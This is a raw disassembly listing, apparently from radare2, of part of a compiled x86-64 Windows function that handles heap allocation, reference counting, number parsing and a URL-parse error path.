movzx eax, word [rsp + 0x180]
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x182]
mov qword [rsp + 0x1d0], rax
movzx eax, word [rsp + 0x186]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x4f8]
lock dec qword [rax]
mov word [rsp + 0x48], dx
mov qword [rsp + 0x1b8], r14
mov qword [rsp + 0x268], rbx
mov qword [rsp + 0x318], r12
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x40], rcx
jne 0x14001b194
mov rcx, qword [rsp + 0x2b0]
mov r12, r15
mov rdi, r9
mov rbx, r11
mov r14, r8
mov r15, r10
call fcn.1400c3040
mov r10, r15
mov r8, r14
mov r11, rbx
mov r9, rdi
mov rcx, qword [rsp + 0x40]
mov r15, r12
mov r12, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x268]
movzx edx, word [rsp + 0x48]
mov r14, qword [rsp + 0x1b8]
mov rdi, qword [rsp + 0x228]
shl r10, 0x20
shl dword [rsp + 0x1e4], 0x10
shl dword [rsp + 0x1e8], 0x10
shl dword [rsp + 0x1ec], 0x10
shl dword [rsp + 0x1f0], 0x10
shl dword [rsp + 0x320], 0x10
shl qword [rsp + 0x1a8], 0x20
shl qword [rsp + 0x1f8], 0x20
shl qword [rsp + 0x220], 0x20
shl r13, 0x20
shl rbp, 0x20
shl rsi, 0x20
shl qword [rsp + 0x218], 0x20
shl qword [rsp + 0x210], 0x20
shl qword [rsp + 0x238], 0x20
shl qword [rsp + 0x230], 0x20
shl qword [rsp + 0x338], 0x20
shl qword [rsp + 0x330], 0x20
shl qword [rsp + 0x328], 0x20
mov rax, qword [rsp + 0x2b8]
lock dec qword [rax]
jne 0x14001b289
lea rcx, [rsp + 0x2b8]
mov r12, r15
mov rdi, r9
mov rbx, r11
mov r14, r8
mov r15, r10
call fcn.1400c3120
mov r10, r15
mov r8, r14
mov r11, rbx
mov r9, rdi
mov rcx, qword [rsp + 0x40]
mov r15, r12
mov r12, qword [rsp + 0x318]
mov rbx, qword [rsp + 0x268]
movzx edx, word [rsp + 0x48]
mov r14, qword [rsp + 0x1b8]
mov rdi, qword [rsp + 0x228]
add qword [rsp + 0x240], r10
mov eax, dword [rsp + 0x1e4]
add dword [rsp + 0x208], eax
mov eax, dword [rsp + 0x1e8]
add dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x1ec]
add dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x1f0]
add dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x320]
add dword [rsp + 0x60], eax
add r9, qword [rsp + 0x1a8]
mov qword [rsp + 0x1a8], r9
mov rax, qword [rsp + 0x1f8]
add qword [rsp + 0x58], rax
add r14, qword [rsp + 0x220]
or rbx, r13
or r15, rbp
or r12, rsi
mov rax, qword [rsp + 0x218]
add qword [rsp + 0x70], rax
add r8, qword [rsp + 0x210]
mov qword [rsp + 0x1b8], r8
add rdi, qword [rsp + 0x238]
mov r9, qword [rsp + 0x278]
add r9, qword [rsp + 0x230]
add rcx, qword [rsp + 0x338]
mov rax, qword [rsp + 0x330]
add qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x328]
add qword [rsp + 0x1d0], rax
movzx esi, byte [rsp + 0x3f]
movzx r8d, byte [rsp + 0x1c0]
mov ebp, dword [rsp + 0x78]
mov qword [rsp + 0x40], rcx
mov r10, r11
shr r10, 8
movzx eax, dx
cmp eax, 0x18f
mov word [rsp + 0x48], dx
jbe 0x14001b4ec
movzx ecx, word [rsp + 0x4a]
mov rax, qword [rsp + 0x70]
shl rax, 0x10
or rax, rcx
mov ecx, r11d
mov byte [rsp + 0x238], r11b
mov qword [rsp + 0x218], r10
mov rcx, qword [rsp + 0x2a0]
mov r11, rcx
mov qword [rsp + 0x1c0], rcx
mov rcx, qword [rsp + 0x270]
mov r10d, r8d
mov r8, rcx
shr r8, 0x20
mov qword [rsp + 0x1f8], r8
mov r8d, r10d
mov r10d, ecx
mov dword [rsp + 0x230], ecx
shr rcx, 0x28
mov dword [rsp + 0x220], ecx
mov rcx, qword [rsp + 0x298]
mov qword [rsp + 0x270], rcx
mov rcx, qword [rsp + 0x290]
mov qword [rsp + 0x298], rcx
mov rcx, qword [rsp + 0x288]
mov qword [rsp + 0x290], rcx
mov rcx, qword [rsp + 0x280]
mov qword [rsp + 0x288], rcx
mov rcx, qword [rsp + 0x258]
mov qword [rsp + 0x280], rcx
mov rcx, qword [rsp + 0x250]
shr r11, 8
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x70], rax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x4a], ax
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x4c], ax
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x4e], ax
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x52], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x56], ax
mov qword [rsp + 0x258], rcx
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x210], rax
mov word [rsp + 0x54], dx
mov edx, dword [rsp + 0x194]
mov ecx, dword [rsp + 0x1b4]
cmp qword [rsp + 0x2d8], 0
jne 0x14001b6a4
jmp 0x14001b71f
mov qword [rsp + 0x1c0], r11
movzx eax, byte [rsp + 0x3e]
mov qword [rsp + 0x1f8], rax
movzx eax, byte [rsp + 0x3d]
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x3c], al
mov eax, ebp
mov byte [rsp + 0x39], bpl
movzx eax, byte [rsp + 0x3b]
mov byte [rsp + 0x238], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x3b], al
mov byte [rsp + 0x3a], r8b
movzx r8d, byte [rsp + 0x38]
mov byte [rsp + 0x38], sil
mov rax, qword [rsp + 0x1c8]
mov esi, eax
mov qword [rsp + 0x218], r12
mov r12, r15
mov r15, rbx
mov rbx, r14
mov r14, qword [rsp + 0x58]
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x248]
mov eax, ecx
mov qword [rsp + 0x1c8], rax
mov rax, rcx
shr rax, 8
mov ecx, dword [rsp + 0x60]
mov dword [rsp + 0x220], ecx
mov ecx, dword [rsp + 0x6c]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rsp + 0x68]
mov dword [rsp + 0x6c], ecx
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x68], ecx
mov ecx, dword [rsp + 0x208]
mov dword [rsp + 0x7c], ecx
mov ebp, dword [rsp + 0x1f4]
mov ecx, ebp
shr ecx, 8
mov edx, dword [rsp + 0x1a4]
mov dword [rsp + 0x230], edx
mov edx, dword [rsp + 0x1a0]
mov dword [rsp + 0x1a4], edx
mov edx, dword [rsp + 0x19c]
mov dword [rsp + 0x1a0], edx
mov edx, dword [rsp + 0x198]
mov dword [rsp + 0x19c], edx
mov edx, dword [rsp + 0x1b4]
mov dword [rsp + 0x198], edx
mov dword [rsp + 0x208], ecx
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x210], rcx
mov rcx, qword [rsp + 0x1d8]
mov qword [rsp + 0x1d0], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x40], r9
mov r9, rdi
mov rdi, qword [rsp + 0x1b8]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x260], rax
mov ecx, dword [rsp + 0x194]
mov edx, 3
mov r11, r10
cmp qword [rsp + 0x2d8], 0
je 0x14001b71f
mov qword [rsp + 0x1b8], r14
mov r14d, r8d
mov r8, qword [rsp + 0x2d0]
mov byte [rsp + 0x3f], sil
mov dword [rsp + 0x194], edx
mov esi, ecx
mov rcx, qword [0x1401d2138]
mov qword [rsp + 0x278], r9
xor edx, edx
mov dword [rsp + 0x78], ebp
mov rbp, rdi
mov rdi, rbx
mov rbx, r15
mov r13, r12
mov r15, r11
call sub.KERNEL32.dll_HeapFree
mov r11, r15
mov ecx, esi
mov edx, dword [rsp + 0x194]
movzx esi, byte [rsp + 0x3f]
mov r15, rbx
mov rbx, rdi
mov rdi, rbp
mov ebp, dword [rsp + 0x78]
mov r8d, r14d
mov r14, qword [rsp + 0x1b8]
mov r9, qword [rsp + 0x278]
shl r11, 8
movzx eax, byte [rsp + 0x1c0]
or rax, r11
cmp edx, 3
jne 0x14001cb3f
mov dword [rsp + 0x3b8], ecx
mov byte [rsp + 0x3bc], bpl
mov ecx, dword [rsp + 0x208]
mov word [rsp + 0x3bd], cx
shr ecx, 0x10
mov byte [rsp + 0x3bf], cl
mov ecx, dword [rsp + 0x198]
mov dword [rsp + 0x3c0], ecx
movzx ecx, byte [rsp + 0x39]
mov byte [rsp + 0x3c4], cl
mov ecx, dword [rsp + 0x7c]
mov word [rsp + 0x3c5], cx
shr ecx, 0x10
mov byte [rsp + 0x3c7], cl
mov ecx, dword [rsp + 0x19c]
mov dword [rsp + 0x3c8], ecx
movzx ecx, byte [rsp + 0x3c]
mov byte [rsp + 0x3cc], cl
mov ecx, dword [rsp + 0x68]
mov word [rsp + 0x3cd], cx
shr ecx, 0x10
mov byte [rsp + 0x3cf], cl
mov ecx, dword [rsp + 0x1a0]
mov dword [rsp + 0x3d0], ecx
movzx ecx, byte [rsp + 0x3d]
mov byte [rsp + 0x3d4], cl
mov ecx, dword [rsp + 0x6c]
mov word [rsp + 0x3d5], cx
shr ecx, 0x10
mov byte [rsp + 0x3d7], cl
mov ecx, dword [rsp + 0x1a4]
mov dword [rsp + 0x3d8], ecx
movzx ecx, byte [rsp + 0x3e]
mov byte [rsp + 0x3dc], cl
mov ecx, dword [rsp + 0x60]
mov word [rsp + 0x3dd], cx
shr ecx, 0x10
mov byte [rsp + 0x3df], cl
mov ecx, dword [rsp + 0x230]
mov dword [rsp + 0x3e0], ecx
mov rcx, qword [rsp + 0x1f8]
mov byte [rsp + 0x3e4], cl
mov ecx, dword [rsp + 0x220]
mov word [rsp + 0x3e5], cx
shr ecx, 0x10
mov byte [rsp + 0x3e7], cl
mov rcx, qword [rsp + 0x270]
mov qword [rsp + 0x3e8], rcx
mov rcx, qword [rsp + 0x298]
mov qword [rsp + 0x3f0], rcx
mov rcx, qword [rsp + 0x290]
mov qword [rsp + 0x3f8], rcx
mov rcx, qword [rsp + 0x288]
mov qword [rsp + 0x400], rcx
mov rcx, qword [rsp + 0x280]
mov qword [rsp + 0x408], rcx
mov rcx, qword [rsp + 0x258]
mov qword [rsp + 0x410], rcx
mov rcx, qword [rsp + 0x250]
mov qword [rsp + 0x418], rcx
mov rcx, qword [rsp + 0x260]
mov qword [rsp + 0x420], rcx
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0x428], rcx
mov rcx, qword [rsp + 0x248]
mov qword [rsp + 0x430], rcx
mov rcx, qword [rsp + 0x1c8]
mov byte [rsp + 0x438], cl
mov rdx, qword [rsp + 0x1a8]
mov rcx, rdx
shr rcx, 0x30
mov byte [rsp + 0x43f], cl
mov dword [rsp + 0x439], edx
shr rdx, 0x20
mov word [rsp + 0x43d], dx
mov byte [rsp + 0x440], sil
mov rdx, qword [rsp + 0x58]
mov rcx, rdx
shr rcx, 0x30
mov byte [rsp + 0x447], cl
mov dword [rsp + 0x441], edx
shr rdx, 0x20
mov word [rsp + 0x445], dx
movzx ecx, byte [rsp + 0x38]
mov byte [rsp + 0x448], cl
mov rcx, r14
shr rcx, 0x30
mov byte [rsp + 0x44f], cl
mov dword [rsp + 0x449], r14d
shr r14, 0x20
mov word [rsp + 0x44d], r14w
mov byte [rsp + 0x450], r8b
mov rcx, rbx
shr rcx, 0x30
mov byte [rsp + 0x457], cl
mov dword [rsp + 0x451], ebx
shr rbx, 0x20
mov word [rsp + 0x455], bx
movzx ecx, byte [rsp + 0x3a]
mov byte [rsp + 0x458], cl
mov rcx, r15
shr rcx, 0x30
mov byte [rsp + 0x45f], cl
mov dword [rsp + 0x459], r15d
shr r15, 0x20
mov word [rsp + 0x45d], r15w
movzx ecx, byte [rsp + 0x3b]
mov byte [rsp + 0x460], cl
mov rcx, r12
shr rcx, 0x30
mov byte [rsp + 0x467], cl
mov dword [rsp + 0x461], r12d
shr r12, 0x20
mov word [rsp + 0x465], r12w
movzx ecx, byte [rsp + 0x238]
mov byte [rsp + 0x468], cl
mov rdx, qword [rsp + 0x218]
mov rcx, rdx
shr rcx, 0x30
mov byte [rsp + 0x46f], cl
mov dword [rsp + 0x469], edx
shr rdx, 0x20
mov word [rsp + 0x46d], dx
mov qword [rsp + 0x470], rax
mov rdx, qword [rsp + 0x2a0]
mov qword [rsp + 0x478], rdx
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x480], ax
mov rcx, qword [rsp + 0x70]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x486], ax
mov dword [rsp + 0x482], ecx
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x488], ax
mov rax, rdi
shr rax, 0x20
mov word [rsp + 0x48e], ax
mov dword [rsp + 0x48a], edi
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x490], ax
mov rax, r9
shr rax, 0x20
mov word [rsp + 0x496], ax
mov dword [rsp + 0x492], r9d
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x498], ax
mov rcx, qword [rsp + 0x40]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x49e], ax
mov dword [rsp + 0x49a], ecx
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x4a0], ax
mov rcx, qword [rsp + 0x1d8]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x4a6], ax
mov dword [rsp + 0x4a2], ecx
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x4a8], ax
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x4ae], ax
mov dword [rsp + 0x4aa], ecx
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x4b0], ax
mov rcx, qword [rsp + 0x210]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x4b6], ax
mov dword [rsp + 0x4b2], ecx
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x4b8], ax
mov rcx, qword [rsp + 0x240]
mov rax, rcx
shr rax, 0x20
mov word [rsp + 0x4be], ax
mov dword [rsp + 0x4ba], ecx
mov rcx, qword [rsp + 0x468]
lea r8, [0x140180b28]
mov r9d, 0xe
call fcn.1400c4aa0
test rax, rax
je 0x14001daef
mov r8, rdx
test rdx, rdx
je 0x14001cb58
mov r9, rax
movzx eax, byte [rax]
cmp eax, 0x2d
je 0x14001bbf1
cmp eax, 0x2b
jne 0x14001bbfb
dec r8
je 0x14001c318
inc r9
jmp 0x14001bbfb
cmp r8, 1
je 0x14001c318
cmp r8, 0x11
jae 0x14001bc87
xor eax, eax
xor edi, edi
nop dword [rax]
movzx ecx, byte [r9 + rax]
add ecx, 0xffffffd0
cmp ecx, 9
ja 0x14001c318
lea rdx, [rdi + rdi*4]
mov ecx, ecx
lea rdi, [rcx + rdx*2]
inc rax
cmp r8, rax
jne 0x14001bc10
test rdi, rdi
je 0x14001bcdb
js 0x14001d9ff
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x14001bc69
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001bc78
mov rcx, rax
mov qword [0x1401d2138], rax
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
jne 0x14001bce0
mov ecx, 1
mov rdx, rdi
call fcn.1400034d0
ud2
xor r10d, r10d
mov r11d, 0xa
xor edi, edi
nop word cs:[rax + rax]
cmp r8, r10
je 0x14001bc33
movzx esi, byte [r9 + r10]
mov rax, rdi
mul r11
seto dl
add esi, 0xffffffd0
cmp esi, 9
ja 0x14001c318
mov cl, 2
test dl, dl
jne 0x14001cb5a
mov rdi, rax
mov eax, esi
inc r10
add rdi, rax
jae 0x14001bca0
jmp 0x14001cb5a
mov eax, 1
mov rbx, rax
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x2c8], rdi
mov qword [rsp + 0x2d0], 0
mov r12, qword [rsp + 0x450]
mov rbp, qword [rsp + 0x458]
mov r15, qword [rsp + 0x468]
mov r14, qword [rsp + 0x470]
mov r13, qword [rsp + 0x478]
mov rax, qword [rsp + 0x480]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x60], rax
mov rsi, qword [rsp + 0x490]
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x40], rax
mov rdi, qword [rsp + 0x4a0]
cmp qword [rsp + 0x3d0], 0
je 0x14001bd84
mov r8, qword [rsp + 0x3c8]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
test rbp, rbp
je 0x14001bd9a
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
test r13, r13
je 0x14001bdd5
lea r12, [r15 + 8]
jmp 0x14001bdb9
add r12, 0x20
dec r13
je 0x14001bdd5
cmp qword [r12], 0
je 0x14001bdb0
mov r8, qword [r12 - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x14001bdb0
test r14, r14
je 0x14001bdeb
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
test rdi, rdi
je 0x14001be23
lea r14, [rsi + 0x18]
jmp 0x14001be09
add r14, 0x58
dec rdi
je 0x14001be23
cmp qword [r14], 0
je 0x14001be00
mov r8, qword [r14 - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x14001be00
cmp qword [rsp + 0x40], 0
je 0x14001be3c
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov eax, 0x5f5e100
mov qword [rsp + 0x40], rax
xor ebp, ebp
xorps xmm6, xmm6
xor r12d, r12d
xor r14d, r14d
mov r15, qword [rsp + 0x70]
jmp 0x14001be85
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
dec r13
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
cmp r14, r15
je 0x14001bfa8
lea rax, [rbx + r14]
mov rdx, r15
sub rdx, r14
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], rdx
mov qword [rsp + 0x360], 0
mov qword [rsp + 0x368], r12
cmp qword [rsp + 0x40], rdx
jbe 0x14001bf00
mov rcx, rsi
lea rdx, [rsp + 0x350]
xor r8d, r8d
call qword [rdi + 0x48]
test rax, rax
je 0x14001bfdb
mov r13, rax
and eax, 3
lea rcx, [0x140131b9c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp r12, rdx
ja 0x14001d8a1
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], rbp
mov rcx, rsi
lea rdx, [rsp + 0x80]
xor r8d, r8d
call qword [rdi + 0x48]
test rax, rax
je 0x14001bfea
mov r13, rax
and eax, 3
lea rcx, [0x140131b9c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r13 + 0x10], 0x23
je 0x14001be8f
jmp case.0x14001bf60.2
mov rax, r13
movabs rcx, 0xffffffff00000000
and rax, rcx
movabs rcx, 0x2300000000
cmp rax, rcx
je 0x14001be8f
jmp case.0x14001bf60.2
mov r8d, 0x20
lea rcx, [rsp + 0x2c0]
mov rdx, r15
call fcn.140004440
mov r14, qword [rsp + 0x2d0]
mov rbx, qword [rsp + 0x2c0]
mov r15, qword [rsp + 0x2c8]
jmp 0x14001be98
mov rcx, qword [rsp + 0x360]
mov rbp, qword [rsp + 0x70]
jmp 0x14001c037
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
cmp rcx, rax
ja 0x14001d98c
mov rdx, qword [rsp + 0x88]
cmp rax, rdx
mov rbp, qword [rsp + 0x70]
ja 0x14001d99d
mov qword [rsp + 0x360], rcx
cmp r12, rcx
cmovbe r12, rcx
cmp r12, rax
cmovbe r12, rax
mov qword [rsp + 0x368], r12
test rcx, rcx
je 0x14001cb7c
mov rax, qword [rsp + 0x368]
mov r12, rax
sub r12, rcx
jb 0x14001d98c
mov rdx, qword [rsp + 0x358]
cmp rax, rdx
ja 0x14001d99d
sub qword [rsp + 0x40], rcx
add r14, rcx
mov qword [rsp + 0x2d0], r14
cmp r15, rbp
jne 0x14001c177
cmp r14, r15
jne 0x14001c177
movaps xmmword [rsp + 0x510], xmm6
movaps xmmword [rsp + 0x500], xmm6
cmp qword [rsp + 0x40], 0
lea r14, [rsp + 0x80]
je 0x14001cb7c
mov rdi, qword [rdi + 0x18]
mov rax, qword [rsp + 0x40]
cmp rax, 0x20
mov rdx, rsi
mov esi, 0x20
cmovb rsi, rax
mov rcx, r14
lea r8, [rsp + 0x500]
mov r9, rsi
call rdi
cmp qword [rsp + 0x80], 0
mov r13, qword [rsp + 0x88]
je case.default.0x14001c103
mov eax, r13d
and eax, 3
lea rcx, [0x140131bac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbp, [rsp + 0x500]
jmp rax
sub qword [rsp + 0x40], r13
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
jb 0x14001db1a
test r13, r13
je 0x14001cb7c
cmp r13, 0x21
jae 0x14001d94b
lea rcx, [rsp + 0x2c0]
mov rdx, rbp
mov r8, r13
call fcn.140004440
mov rbx, qword [rsp + 0x2c0]
mov r15, qword [rsp + 0x2c8]
mov r14, qword [rsp + 0x2d0]
lea rcx, [rbx + r14]
lea rdx, [rsp + 0x500]
mov r8, r13
call sub.msvcrt.dll_memcpy
add r14, r13
mov qword [rsp + 0x2d0], r14
mov rax, qword [rsp + 0x40]
cmp rax, r12
mov rbp, r12
cmovb rbp, rax
test rax, rax
jne 0x14001be8f
jmp 0x14001cb73
mov eax, r13d
and eax, 3
lea rcx, [0x140131bac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r13 + 0x10], 0x23
je 0x14001c24c
jmp 0x14001c2b3
add byte [rax], al
and eax, dword [rax]
add byte [rax], al
cmp rax, rcx
je 0x14001c24c
jmp 0x14001c2b3
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, rbp
mov r9, rsi
call rdi
cmp qword [rsp + 0x80], 0
mov r13, qword [rsp + 0x88]
jne 0x14001c1a0
mov rbp, qword [rsp + 0x70]
jmp case.default.0x14001c103
cmp byte [r13 + 0xf], 0x23
jne case.0x14001bf60.2
mov rsi, qword [r13 - 1]
mov rdi, qword [r13 + 7]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14001be71
cmp qword [rdi + 0x10], 0x11
jb 0x14001be60
adc dword [rdi], ecx
invalid
mov rsi, qword [rsi - 8]
jmp 0x14001be60
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rcx, r13
call fcn.14001de20
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14001c2ed
cmp qword [rdi + 0x10], 0x11
jb 0x14001c2dc
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
test r15, r15
jne 0x14001c2f9
call fcn.1400a8970
ud2
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
call fcn.1400a8970
ud2
xor ebp, ebp
jmp 0x140018e5f
mov cl, 1
jmp 0x14001cb5a
movzx eax, byte [rsp + 0x84]
jmp 0x14001c483
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x14001c357
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001d9e1
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x1b
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001d9e1
mov rdi, rax
movups xmm0, xmmword [0x140180087]
movups xmmword [rax + 0xb], xmm0
movups xmm0, xmmword [0x14018007c]
movups xmmword [rax], xmm0
cmp qword [rsp + 0x2d8], 0
je 0x14001c3a6
mov r8, qword [rsp + 0x2d0]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov esi, 0x1b
mov al, 8
mov qword [rsp + 0x1c8], rax
xor eax, eax
mov qword [rsp + 0x200], rax
mov r14d, 0x1b
mov rax, qword [rsp + 0x350]
lock dec qword [rax]
je 0x14001c58b
mov rax, qword [rsp + 0x358]
lock dec qword [rax]
jne 0x14001c5aa
lea rcx, [rsp + 0x358]
call fcn.1400c3120
cmp qword [rsp + 0x368], 0
je 0x14001c5b9
mov r8, qword [rsp + 0x360]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov qword [rsp + 0x258], rdi
mov qword [rsp + 0x260], rsi
cmp qword [rsp + 0x380], 0
je 0x14001c5d8
mov r8, qword [rsp + 0x378]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rsi, qword [rsp + 0x390]
mov rdi, qword [rsp + 0x3a0]
test rdi, rdi
jne 0x14001c620
jmp 0x14001c5ed
test rsi, rsi
je 0x14001c481
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
xor eax, eax
mov byte [rsp + 0x2b0], al
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x4c0], rax
lea rax, [0x1400e65c0]
mov qword [rsp + 0x4c8], rax
lea rax, str.failed_to_parse_URL:
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x500]
lea rdx, [rsp + 0x80]
call fcn.140003b00
mov rdi, qword [rsp + 0x500]
mov r14, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
movzx ebx, byte [rsp + 0x2b0]
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x14001c54c
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001d97b
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 1
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001d97b
mov rcx, rax
mov qword [rsp + 0x200], rax
mov byte [rax], bl
xor eax, eax
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x350]
lock dec qword [rax]
jne 0x14001c3d7
mov rcx, qword [rsp + 0x350]
call fcn.1400c3040
mov rax, qword [rsp + 0x358]
lock dec qword [rax]
je 0x14001c3e9
cmp qword [rsp + 0x368], 0
jne 0x14001c405
mov qword [rsp + 0x258], rdi
mov qword [rsp + 0x260], rsi
cmp qword [rsp + 0x380], 0
jne 0x14001c43a
mov rsi, qword [rsp + 0x390]
mov rdi, qword [rsp + 0x3a0]
test rdi, rdi
jne 0x14001c620
mov qword [rsp + 0x250], r14
mov ecx, 2
lea rax, [0x14017f658]
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x398], 0
jne 0x14001c653
xor edi, edi
mov qword [rsp + 0x1f8], rax
jmp 0x14001c673
lea rbx, [rsi + 8]
jmp 0x14001c639
add rbx, 0x20
dec rdi
je 0x14001c5ed
cmp qword [rbx], 0
je 0x14001c630
mov r8, qword [rbx - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x14001c630
mov rcx, qword [0x1401d2138]
xor edi, edi
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov ecx, 2
mov qword [rsp + 0x1f8], rax
mov esi, 0
xor eax, eax
mov qword [rsp + 0x1a8], rax
mov edx, 2
mov byte [rsp + 0x1c0], r8b
mov dword [rsp + 0x78], r9d
shl rdi, 8
movzx eax, sil
or rax, rdi
mov rdi, qword [rsp + 0x228]
mov r9, qword [rsp + 0x278]
movzx esi, byte [rsp + 0x3f]
mov ebp, dword [rsp + 0x1f4]
mov dword [rsp + 0x84], ebp
mov dword [rsp + 0x88], ecx
mov ecx, dword [rsp + 0x78]
mov byte [rsp + 0x8c], cl
mov ecx, dword [rsp + 0x208]
mov word [rsp + 0x8d], cx
shr ecx, 0x10
mov byte [rsp + 0x8f], cl
mov ecx, dword [rsp + 0x198]
mov dword [rsp + 0x90], ecx
movzx ecx, byte [rsp + 0x39]
mov byte [rsp + 0x94], cl
mov ecx, dword [rsp + 0x7c]
mov word [rsp + 0x95], cx
shr ecx, 0x10
mov byte [rsp + 0x97], cl
mov ecx, dword [rsp + 0x19c]
mov dword [rsp + 0x98], ecx
movzx r11d, byte [rsp + 0x3c]
mov byte [rsp + 0x9c], r11b
mov ecx, dword [rsp + 0x68]
mov word [rsp + 0x9d], cx
shr ecx, 0x10
